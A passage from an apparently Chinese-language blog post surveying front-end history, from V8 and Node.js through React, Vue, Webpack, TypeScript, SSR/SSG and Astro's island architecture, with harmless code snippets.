jQuery 极大地降低了前端门槛，但也埋下了祸根： 大量的面条代码和滥用的 DOM 操作，导致页面性能越来越差&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 引擎的军备竞赛&lt;/h2&gt;
&lt;h3&gt;5.1 Speed&lt;/h3&gt;
&lt;p&gt;随着 AJAX 和 jQuery 的普及，网页里的 JS 代码量指数级增长&lt;br /&gt;
从几百行，变成了几千行，甚至几万行...然后&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;浏览器跑不动了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当时的 JS 引擎都是&lt;strong&gt;解释执行&lt;/strong&gt;的：读一行，跑一行。效率极低&lt;br /&gt;
Web 应用想取代桌面软件，最大的瓶颈就是&lt;strong&gt;慢&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;5.2 Google 的阳谋&lt;/h3&gt;
&lt;p&gt;2008 年 9 月，Google 发布了一本漫画书，介绍了一款新浏览器：&lt;strong&gt;Chrome&lt;/strong&gt;&lt;br /&gt;
与之同来的，是一个全新的 JS 引擎：&lt;strong&gt;V8&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;V8 做了一件惊天动地的事：&lt;strong&gt;JIT&lt;/strong&gt;&lt;br /&gt;
它不解释代码，它是&lt;strong&gt;把 JavaScript 直接编译成机器码&lt;/strong&gt;运行&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;V8 刚发布时，JS 执行速度比 IE 快了不知道多少倍&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多进程&lt;/strong&gt;：一个标签页崩了，不会导致整个浏览器崩溃。这也是 Chrome 的首创&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;V8 的出现改变了一切&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它证明了 JS 可以跑得飞快&lt;/li&gt;
&lt;li&gt;它让 JS 有能力处理极其复杂的逻辑（不仅仅是表单验证）&lt;/li&gt;
&lt;li&gt;既然 V8 这么快，而且它是独立的 C++ 库，那为什么不能把它拿出来，在服务器上跑 JS 呢？（而一年后，Node.js 诞生了）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.3 WebKit&lt;/h3&gt;
&lt;p&gt;与此同时，Apple 开源的 &lt;strong&gt;WebKit&lt;/strong&gt; 内核（源自 KHTML）开始崛起。Safari 和早期的 Chrome 都使用了 WebKit&lt;br /&gt;
它是&lt;strong&gt;移动互联网&lt;/strong&gt;的基石。第一代 iPhone 发布时，乔布斯不支持 Flash，只支持 Web 标准&lt;br /&gt;
这意味着，即将到来的移动 Web 浪潮，将是 WebKit 的天下...吗？&lt;/p&gt;
&lt;p&gt;至此，前端已经拥有了：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;交互能力&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据标准&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;开发工具&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;标准库&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高性能引擎&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;万事俱备&lt;br /&gt;
但随着代码量的膨胀，我们即将迎来一场巨大的危机&lt;br /&gt;
我们有了枪炮，但还缺乏战术。我们写得出炫酷的特效，但维护不了庞大的系统&lt;/p&gt;
&lt;p&gt;接下来咱就要讲工程化与架构革命，Node.js 登场，前端终于要开始像正经的软件工程师那样思考了&lt;/p&gt;
&lt;h2&gt;6. Nodejs&lt;/h2&gt;
&lt;p&gt;如果说前二十年，前端还是在浏览器这个沙盒里带着镣铐跳舞，那么从 2010 年开始，前端工程师通过一次惊天动地泣鬼神的越狱，彻底改变了游戏规则&lt;/p&gt;
&lt;h3&gt;6.1 Ryan Dahl 的疯狂实验&lt;/h3&gt;
&lt;p&gt;2009 年的 JSConf EU 大会上，一个名叫 &lt;strong&gt;Ryan Dahl&lt;/strong&gt; 的年轻人做了一场演示&lt;/p&gt;
&lt;p&gt;他做了一件看似违背祖宗的事情：&lt;strong&gt;他把 Google Chrome 里的 V8 引擎抠了出来，给它装上了文件系统和网络模块，让它跑在了服务器上&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这就好比把法拉利的引擎拆下来，装在了一台拖拉机上&lt;/p&gt;
&lt;p&gt;这个项目叫 &lt;strong&gt;Node.js&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;起初，大家以为它是后端技术的革命（非阻塞 I/O，高并发）&lt;br /&gt;
但很快，前端工程师们发现了一个惊天秘密：补兑，既然服务器能跑 JS，那是不是意味着，我们可以用 JS 来写....&lt;/p&gt;
&lt;p&gt;在此之前，如果你想压缩一个 JS 文件，你得用 Java 写的 YUI Compressor&lt;br /&gt;
如果你想预处理 CSS，你得用 Ruby 写的 Sass&lt;br /&gt;
前端开发者的工具链掌握在别人手里&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Node.js 的出现，让前端拥有了造轮子的权利&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;6.2 npm&lt;/h3&gt;
&lt;p&gt;2010 年，&lt;strong&gt;Isaac Z. Schlueter&lt;/strong&gt; 发布了 &lt;strong&gt;npm&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在这之前，如果我们想用 jQuery，得去官网下载 &lt;code&gt;jquery.js&lt;/code&gt;，放到项目文件夹里，然后在 HTML 里写 &lt;code&gt;&amp;lt;script src=&quot;jquery.js&quot;&amp;gt;&lt;/code&gt;。如果 jQuery 依赖了别的库，你根本不知道，直到报错&lt;/p&gt;
&lt;p&gt;npm 改变了一切：
&lt;code&gt;npm install jquery&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这不仅是一个下载工具，它引入了&lt;strong&gt;语义化版本控制&lt;/strong&gt; 和 &lt;strong&gt;依赖树&lt;/strong&gt;&lt;br /&gt;
前端代码不再是散落在各处的碎片，而是变成了一个有组织、可复用的&lt;strong&gt;模块体系&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;6.3 自动化构建：Grunt 与 Gulp&lt;/h3&gt;
&lt;p&gt;既然有了 Node.js (运行时) 和 npm (包管理)，前端工程师开始编写&lt;strong&gt;自动化脚本&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Grunt&lt;/strong&gt;：基于配置的构建工具。你需要写一个巨大的 JSON 对象，告诉它先把 A 文件和 B 文件合并，然后压缩，然后重命名&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gulp&lt;/strong&gt;：基于流的构建工具。代码写起来像管道一样流畅：&lt;pre&gt;&lt;code&gt;src(&apos;src/*.js&apos;)
  .pipe(babel())
  .pipe(uglify())
  .pipe(dest(&apos;dist/&apos;));
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;这是前端工程化的开端&lt;/strong&gt;&lt;br /&gt;
我们不再手动刷新浏览器，不再手动压缩图片&lt;br /&gt;
&lt;strong&gt;前端开发从手工进化到了流水线&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7. MVC 混战与移动大迁徙&lt;/h2&gt;
&lt;h3&gt;7.1 乔布斯的判决书与 HTML5 的上位&lt;/h3&gt;
&lt;p&gt;2010 年 4 月，Steve Jobs 发表了著名的公开信&lt;strong&gt;Thoughts on Flash&lt;/strong&gt;&lt;br /&gt;
他列举了 Flash 的六大罪状（耗电、触摸屏支持差、封闭等），并宣布 iPhone/iPad 将永远不支持 Flash&lt;/p&gt;
&lt;p&gt;这一刻，Web 的命运被改写了&lt;br /&gt;
&lt;strong&gt;移动互联网&lt;/strong&gt;的大门轰然打开，而唯一的通行证是 &lt;strong&gt;HTML5&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;于是，所有的企业都需要开发移动版网页&lt;br /&gt;
但手机的 CPU 和网络比电脑差得多，屏幕也小得多&lt;br /&gt;
简单的 jQuery 特效在手机上卡顿无比。我们需要更高效、更像原生 App 的网页&lt;/p&gt;
&lt;h3&gt;7.2 意大利面条代码危机&lt;/h3&gt;
&lt;p&gt;随着需求越来越复杂（比如做一个网页版的 Excel 或 Trello），前端代码量突破了 10 万行&lt;br /&gt;
jQuery 的弊端彻底暴露：&lt;strong&gt;它把状态藏在了 DOM 里&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;想象一下，你要做一个购物车&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用 jQuery：你需要从 &lt;code&gt;span.total-price&lt;/code&gt; 里读出文本，转换成数字，加 1，再写回 &lt;code&gt;span&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;如果页面上还有三个地方要显示总价呢？你得手动更新三个地方&lt;/li&gt;
&lt;li&gt;如果漏了一个怎么办？Bug 就来了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这种&lt;strong&gt;面多加水，水多加面&lt;/strong&gt;的代码，错综复杂，被称为意大利面条代码&lt;br /&gt;
一旦项目变大，维护它简直是地狱&lt;/p&gt;
&lt;h3&gt;7.3 寻找秩序&lt;/h3&gt;
&lt;p&gt;为了解决这个问题，前端开始向后端偷师，引入了经典的软件架构模式：&lt;strong&gt;MVC&lt;/strong&gt;&lt;br /&gt;
核心思想是：&lt;strong&gt;数据（Model）是源头，视图（View）只是数据的投影&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;7.3.1 第一代探索者：Backbone.js&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Backbone&lt;/strong&gt; 非常轻量。它给了你 Model、Collection、View 三个基类&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它告诉你：把数据存在 Model 里，不要存在 DOM 里&lt;/li&gt;
&lt;li&gt;当 Model 变了，Model 会触发一个 &lt;code&gt;change&lt;/code&gt; 事件&lt;/li&gt;
&lt;li&gt;View 监听到事件，手动去更新 DOM（还是用 jQuery）&lt;/li&gt;
&lt;li&gt;它建立了秩序，但写起来还是很累，很多胶水&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;7.3.2 AngularJS (v1&lt;/h4&gt;
&lt;p&gt;2009 年发布，2012 年爆火。AngularJS 带来了两个震撼世界的概念：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;双向数据绑定&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input ng-model=&quot;username&quot;&amp;gt;
&amp;lt;h1&amp;gt;Hello, {{ username }}&amp;lt;/h1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你在输入框里打字，下面的 &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; 里的文字&lt;strong&gt;实时&lt;/strong&gt;跟着变&lt;br /&gt;
&lt;strong&gt;不需要写任何 JS 事件监听代码&lt;/strong&gt; 这在当时简直是魔法&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;依赖注入&lt;/strong&gt;：
你想要用 &lt;code&gt;$http&lt;/code&gt; 服务？只需要在函数参数里写上它，Angular 就自动给你送进来&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;AngularJS 让 HTML 变成了一种&lt;strong&gt;模版语言&lt;/strong&gt;。它让开发效率提升了 10 倍&lt;br /&gt;
一时间，全世界都在用 Angular 重写项目。前端工程师觉得自己终于是在&lt;strong&gt;开发软件&lt;/strong&gt;，而不是在&lt;strong&gt;写脚本&lt;/strong&gt;了&lt;/p&gt;
&lt;h3&gt;7.4 AMD vs CMD&lt;/h3&gt;
&lt;p&gt;在 Node.js 和框架爆发的同时，还有一个基础问题没解决：&lt;strong&gt;JavaScript 语言本身没有模块系统&lt;/strong&gt;（直到 ES6）&lt;/p&gt;
&lt;p&gt;我怎么在一个 JS 文件里引用另一个 JS 文件？
&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 标签不仅丑，而且依赖顺序很难管理（jquery.js 必须在 plugin.js 之前）&lt;/p&gt;
&lt;p&gt;于是，民间标准诞生了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CommonJS&lt;/strong&gt;：Node.js 用的标准 (&lt;code&gt;require/module.exports&lt;/code&gt;)。是同步加载的，适合服务器，不适合浏览器（网络请求要等）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AMD (RequireJS)&lt;/strong&gt;：异步模块定义。&lt;code&gt;define([&apos;dep1&apos;], function(dep1) { ... })&lt;/code&gt;。它是浏览器端的霸主&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CMD (SeaJS)&lt;/strong&gt;：淘宝玉伯提出的标准，更符合 CommonJS 的书写习惯（就近依赖）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这不仅是技术之争，也是&lt;strong&gt;社区话语权&lt;/strong&gt;之争&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;至此，我们完成了工业化的初步积累&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;我们有了&lt;strong&gt;构建工具&lt;/strong&gt;，开始像正规军一样开发&lt;/li&gt;
&lt;li&gt;我们有了&lt;strong&gt;MVC 框架&lt;/strong&gt;，开始分离数据和视图&lt;/li&gt;
&lt;li&gt;我们有了&lt;strong&gt;移动端市场&lt;/strong&gt;，地位空前提升&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;但是，AngularJS 的双向绑定在大规模应用中出现了严重的性能问题&lt;br /&gt;
而 FaceBook 的工程师们，正在为一个叫做 Instagram 的应用头疼。他们觉得 MVC 模式在前端也是错的&lt;br /&gt;
他们提出了一个更激进的想法：&lt;strong&gt;如果视图只是一个函数呢？&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;8. React 与 范式转移&lt;/h2&gt;
&lt;h3&gt;8.1 JSX 的离经叛道&lt;/h3&gt;
&lt;p&gt;2013 年，当 Facebook 的工程师 Jordan Walke 开源 React 时，整个社区的反应是愤怒的&lt;br /&gt;
甚至有人说：这是把我们过去十年的努力全毁了&lt;/p&gt;
&lt;p&gt;Why? 因为 &lt;strong&gt;JSX&lt;/strong&gt;&lt;br /&gt;
在过去，最佳实践是&lt;strong&gt;关注点分离&lt;/strong&gt;：HTML 归 HTML（模版），JS 归 JS（逻辑）&lt;br /&gt;
React 却说：不，我们要把 HTML 写在 JS 里&lt;/p&gt;
&lt;p&gt;React 的核心洞察是：UI 渲染逻辑（事件处理、状态变化）和 UI 展示逻辑（DOM 结构）本质上是紧密耦合的。硬把它们分在不同文件里，只是物理分离，而不是逻辑分离&lt;/p&gt;
&lt;p&gt;JSX 不是模版，它是 &lt;strong&gt;JavaScript 的语法糖&lt;/strong&gt;。这意味着你拥有一门图灵完备语言的所有能力（变量、if/else、循环、函数）来描述界面，而不是只能用蹩脚的模版语法（&lt;code&gt;ng-repeat&lt;/code&gt;, &lt;code&gt;v-if&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;这是一场&lt;strong&gt;思维革命&lt;/strong&gt;：我们不再编写页面，我们在编写&lt;strong&gt;组件&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;8.2 Virtual DOM&lt;/h3&gt;
&lt;p&gt;React 被骂得最惨的时候，是它的&lt;strong&gt;性能&lt;/strong&gt;拯救了它。
当时 Facebook 遇到了一个难题：在极其复杂的 Feed 流里，如何高效更新消息？&lt;br /&gt;
如果是 jQuery，你要手动找哪个 DOM 变了；如果是 Angular 1，它会疯狂地进行脏检查（Dirty Checking），导致页面卡顿&lt;/p&gt;
&lt;p&gt;React 提出了 &lt;strong&gt;Virtual DOM&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;快照&lt;/strong&gt;：每次状态变了，我都在内存里生成一棵新的虚拟 DOM 树（纯 JS 对象）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对比&lt;/strong&gt;：我用高效的算法（O(n)）对比新旧两棵树，找出哪怕一个属性的变化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修补&lt;/strong&gt;：我只把变化的这一点点应用到真实的浏览器 DOM 上&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;这是数学的胜利&lt;/strong&gt;&lt;br /&gt;
React 甚至不需要知道浏览器的存在。它把渲染抽象成了一个函数：&lt;code&gt;UI = f(State)&lt;/code&gt;&lt;br /&gt;
只要状态变了，UI 就自动变。开发者再也不用碰    &lt;code&gt;document.getElementById&lt;/code&gt; 了。&lt;strong&gt;手动操作 DOM 成为历史&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;8.3 Redux 的苦行僧&lt;/h3&gt;
&lt;p&gt;React 只解决了 View，那数据怎么办？&lt;br /&gt;
Facebook 提出了 &lt;strong&gt;Flux&lt;/strong&gt; 架构，后来Dan Abramov 把它简化为 &lt;strong&gt;Redux&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Redux 是极其繁琐的：Action, Reducer, Store, Dispatch。改一个字段要写四个文件&lt;br /&gt;
&lt;strong&gt;为什么我们要这么折磨自己？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;因为在大型应用里，&lt;strong&gt;可预测性比便捷性更重要&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;单向数据流&lt;/strong&gt;：数据只能从上往下流&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;纯函数&lt;/strong&gt;：Reducer 必须是纯函数，同样的输入永远得到同样的输出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;倒带&lt;/strong&gt;：因为状态是不可变的，你可以随时回退到之前的状态&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Redux 治好了 MVC 时代的状态管理混乱症，虽然代价是大量的样板代码&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;9. Vue 的渐进式哲学&lt;/h2&gt;
&lt;h3&gt;9.1 尤雨溪的减法&lt;/h3&gt;
&lt;p&gt;就在 React 试图用函数式编程教育世界的时候，一个 Google 的前员工尤雨溪在想：&lt;strong&gt;有没有一种办法，既能有 Angular 的模版便利性，又有 React 的虚拟 DOM 性能？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2014-2015 年，&lt;strong&gt;Vue.js&lt;/strong&gt; 开始爆发&lt;br /&gt;
它的核心哲学是&lt;strong&gt;渐进式&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你想用 CDN 引入写个小挂件？没问题，像 jQuery 一样用&lt;/li&gt;
&lt;li&gt;你想写个单页应用？没问题，上 Vue Router 和 Vuex&lt;/li&gt;
&lt;li&gt;你想搞大型工程？没问题，上 Vue CLI&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vue 没有强迫你学会 JSX，它保留了 HTML 模版。这让无数从 HTML/CSS/jQuery 时代过来的开发者感到了&lt;strong&gt;温暖&lt;/strong&gt;。在大中华区，Vue 成为了绝对的统治&lt;/p&gt;
&lt;p&gt;&lt;s&gt;叠甲：用「大中华区」表述单纯是因为个人习惯，不喜勿喷&lt;/s&gt;&lt;/p&gt;
&lt;h3&gt;9.2 响应式魔法 Object.defineProperty&lt;/h3&gt;
&lt;p&gt;Vue 2.0 最迷人的地方在于它的&lt;strong&gt;响应式系统&lt;/strong&gt;
它利用了 ES5 的 &lt;code&gt;Object.defineProperty&lt;/code&gt;（Getters/Setters）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当你把一个对象传给 Vue 的 &lt;code&gt;data&lt;/code&gt; 时，Vue 会遍历它的所有属性，把它们变成 Getter/Setter&lt;/li&gt;
&lt;li&gt;当组件渲染时，读了哪个属性，Vue 就记下来这个组件依赖这个属性&lt;/li&gt;
&lt;li&gt;当属性变了（Setter 被调用），Vue 通知所有依赖它的组件更新&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这比 Angular 1 的脏检查高效，比 React 的手动 &lt;code&gt;setState&lt;/code&gt; 自动化。它是&lt;strong&gt;魔法&lt;/strong&gt;，但对于大多数开发者来说，这是一种&lt;strong&gt;幸福的魔法&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;10. 构建的巴别塔&lt;/h2&gt;
&lt;h3&gt;10.1 Webpack 炼金术&lt;/h3&gt;
&lt;p&gt;在这个时期，前端工程师最痛恨的文件大概是 &lt;code&gt;webpack.config.js&lt;/code&gt;&lt;br /&gt;
随着 SPA的普及，一个项目可能有几百个 JS 文件、几十个 CSS 文件、几百张图片&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Webpack&lt;/strong&gt; 站出来说：&lt;strong&gt;在我眼里，Everything is a module&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;JS 是模块，CSS 也是模块（&lt;code&gt;import &apos;./style.css&apos;&lt;/code&gt;），图片也是模块（&lt;code&gt;import img from &apos;./logo.png&apos;&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Loader&lt;/strong&gt;：它是一个转换器，把 Sass 转成 CSS，把 ES6 转成 ES5，把图片转成 Base64&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plugin&lt;/strong&gt;：它是一个大管家，负责压缩代码、分割代码（Code Splitting）、注入环境变量&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Webpack 极其强大，也极其复杂。它甚至催生了一个新工种 &lt;strong&gt;Webpack 配置工程师&lt;/strong&gt;&lt;br /&gt;
但也正是 Webpack，让前端终于有了&lt;strong&gt;工业级的构建流水线&lt;/strong&gt;。我们终于可以做 Tree Shaking（摇树优化，用于去掉没用的代码），做按需加载&lt;/p&gt;
&lt;h3&gt;10.2 让我们活在未来&lt;/h3&gt;
&lt;p&gt;2015 年 6 月，&lt;strong&gt;ES6 (ECMAScript 2015)&lt;/strong&gt; 正式发布&lt;br /&gt;
这是 JavaScript 诞生以来最大的更新：&lt;code&gt;class&lt;/code&gt;, &lt;code&gt;module&lt;/code&gt;, &lt;code&gt;arrow function&lt;/code&gt;, &lt;code&gt;promise&lt;/code&gt;, &lt;code&gt;const/let&lt;/code&gt;&lt;br /&gt;
JS 终于像一门正经语言了&lt;/p&gt;
&lt;p&gt;但是，浏览器（尤其是万恶的 IE）不支持啊&lt;br /&gt;
&lt;strong&gt;Babel&lt;/strong&gt;（原名 6to5）出现了&lt;/p&gt;
&lt;p&gt;它是一个&lt;strong&gt;编译器&lt;/strong&gt;。它把 ES6 代码读进去，转换成等价的 ES5 代码吐出来&lt;br /&gt;
这意味着：&lt;strong&gt;前端开发者不再受限于用户的浏览器版本&lt;/strong&gt;&lt;br /&gt;
我们可以使用 2026 年的语法标准写代码，通过 Babel 跑在 2010 年的浏览器上&lt;/p&gt;
&lt;p&gt;这是前端自信心的极大提升：&lt;strong&gt;我们掌控了语言的发展权&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;10.3 TypeScript 的浪子回头&lt;/h3&gt;
&lt;p&gt;到了 2018 年左右，随着项目规模突破百万行代码，弱类型的 JS 成了最大的隐患&lt;br /&gt;
“Cannot read property &apos;x&apos; of undefined” 是所有线上事故的罪魁祸首&lt;/p&gt;
&lt;p&gt;Microsoft 的 &lt;strong&gt;TypeScript&lt;/strong&gt; 终于熬出头了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它是 JS 的&lt;strong&gt;超集&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;它带来了&lt;strong&gt;静态类型检查&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;它带来了极其强大的 &lt;strong&gt;IDE 智能提示&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;起初，大家嫌弃写类型麻烦（把Ts写成&lt;code&gt;anyScript&lt;/code&gt;
但当你在重构一个 5 年前的老组件，IDE 精准地告诉你哪里报错时，你会跪下来感谢 TypeScript&lt;br /&gt;
&lt;strong&gt;无 Ts，不前端&lt;/strong&gt;逐渐成为了行业共识&lt;/p&gt;
&lt;p&gt;至此，现代前端的四大支柱确立了：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;组件化框架&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;类型系统&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;构建工具&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;现代语法&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我们建立了一座宏伟的巴别塔&lt;br /&gt;
但是，这座塔越来越重了&lt;br /&gt;
&lt;code&gt;node_modules&lt;/code&gt; 文件夹变成了黑洞（没那么轻）。一次 &lt;code&gt;npm install&lt;/code&gt; 要 5 分钟，一次 &lt;code&gt;npm run build&lt;/code&gt; 要 3 分钟（没那么快）&lt;br /&gt;
SPA 的首屏加载越来越慢，SEO 依然是痛点&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;历史的钟摆，即将再次摆动&lt;/strong&gt;&lt;br /&gt;
为了追求极致的速度，我们将开始反思：&lt;strong&gt;我们是不是把太多东西塞进浏览器了？&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;11. 静态复兴&lt;/h2&gt;
&lt;h3&gt;11.1 SPA 的代价&lt;/h3&gt;
&lt;p&gt;在 2016-2019 年，如果你不做 SPA，你都不好意思说自己是前端&lt;br /&gt;
但是，当全世界都用 React 写网页时，问题暴露了：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;TTFB&lt;/strong&gt;：用户打开网页，必须先下载几兆的 JS bundle，浏览器解析完，才能渲染出第一行字。在 3G 网络下，这意味着 5-10 秒的白屏&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SEO 归零&lt;/strong&gt;：Google 的爬虫虽然能执行 JS，但Bing或者百度的爬虫经常抓瞎。对于新闻、电商网站来说，搜不到等于死&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;CSR&lt;/strong&gt;的神话破灭了&lt;/p&gt;
&lt;h3&gt;11.2 Next.js 与 Nuxt&lt;/h3&gt;
&lt;p&gt;Vercel（Next.js 背后的公司）站了出来&lt;br /&gt;
他们的思路很简单：&lt;strong&gt;既然浏览器渲染慢，那我们回服务器渲染不就行了？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;同构渲染&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;用户第一次访问：服务器跑 React 代码，生成 HTML 字符串，直接返回&lt;/li&gt;
&lt;li&gt;用户后续点击：浏览器接管，变成 SPA&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这听起来很像 1998 年的 PHP/JSP，但区别在于：&lt;strong&gt;前后端是一套代码（全是 JS/TS）&lt;/strong&gt;。前端工程师拿回了渲染的主导权，同时兼顾了性能&lt;/p&gt;
&lt;h3&gt;11.3 静态生成&lt;/h3&gt;
&lt;p&gt;对于博客、文档、营销页，内容几百年不换一次，为什么要每次请求都算一遍？&lt;br /&gt;
Gatsby 和 Next.js 推广了 SSG&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;构建时&lt;/strong&gt;：在开发者电脑上，React 把 1000 篇博客编译成 1000 个 &lt;code&gt;.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分发&lt;/strong&gt;：扔到 CDN 上&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;访问&lt;/strong&gt;：用户访问时，就是从离他最近的 CDN 节点拿一个静态文件。&lt;strong&gt;这是物理定律允许的最快速度&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们绕了一圈，回到了 Web 1.0 的静态文件模式，但生产这些文件的，是 Web 4.0 的自动化流水线&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;12. 水合与欺骗的艺术&lt;/h2&gt;
&lt;h3&gt;12.1 恐怖谷效应&lt;/h3&gt;
&lt;p&gt;SSR 和 SSG 带来了一个新问题：&lt;strong&gt;“注水&lt;/strong&gt;&lt;br /&gt;
当服务器返回 HTML 时，网页看起来画好了，按钮也在那儿&lt;br /&gt;
用户急不可耐地去点按钮：&lt;strong&gt;没反应&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为什么？因为 JS 还没下载完，事件监听器还没挂载上去。&lt;br /&gt;
这段时间被称为&lt;strong&gt;恐怖谷&lt;/strong&gt;。用户以为它是活的，其实它是死的&lt;/p&gt;
&lt;p&gt;这是现代前端最大的痛点：&lt;strong&gt;为了让用户早点看到内容，我们不仅发了 HTML，还得再发一份一模一样的 JS 去激活它。数据发了两遍&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;12.2 岛屿架构&lt;/h3&gt;
&lt;p&gt;2021 年，&lt;strong&gt;Astro&lt;/strong&gt; 提出了一个灵魂拷问：&lt;br /&gt;
&lt;strong&gt;我的blog文章是静态的，为什么我要加载 React 库来渲染它？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Astro 的方案是 &lt;strong&gt;0 JS&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;整个页面是纯 HTML&lt;/li&gt;
&lt;li&gt;只有那个评论区组件和点赞按钮是 React 组件&lt;/li&gt;
&lt;li&gt;浏览器只加载那两个小岛的 JS&lt;/li&gt;
&lt;/ul&gt;
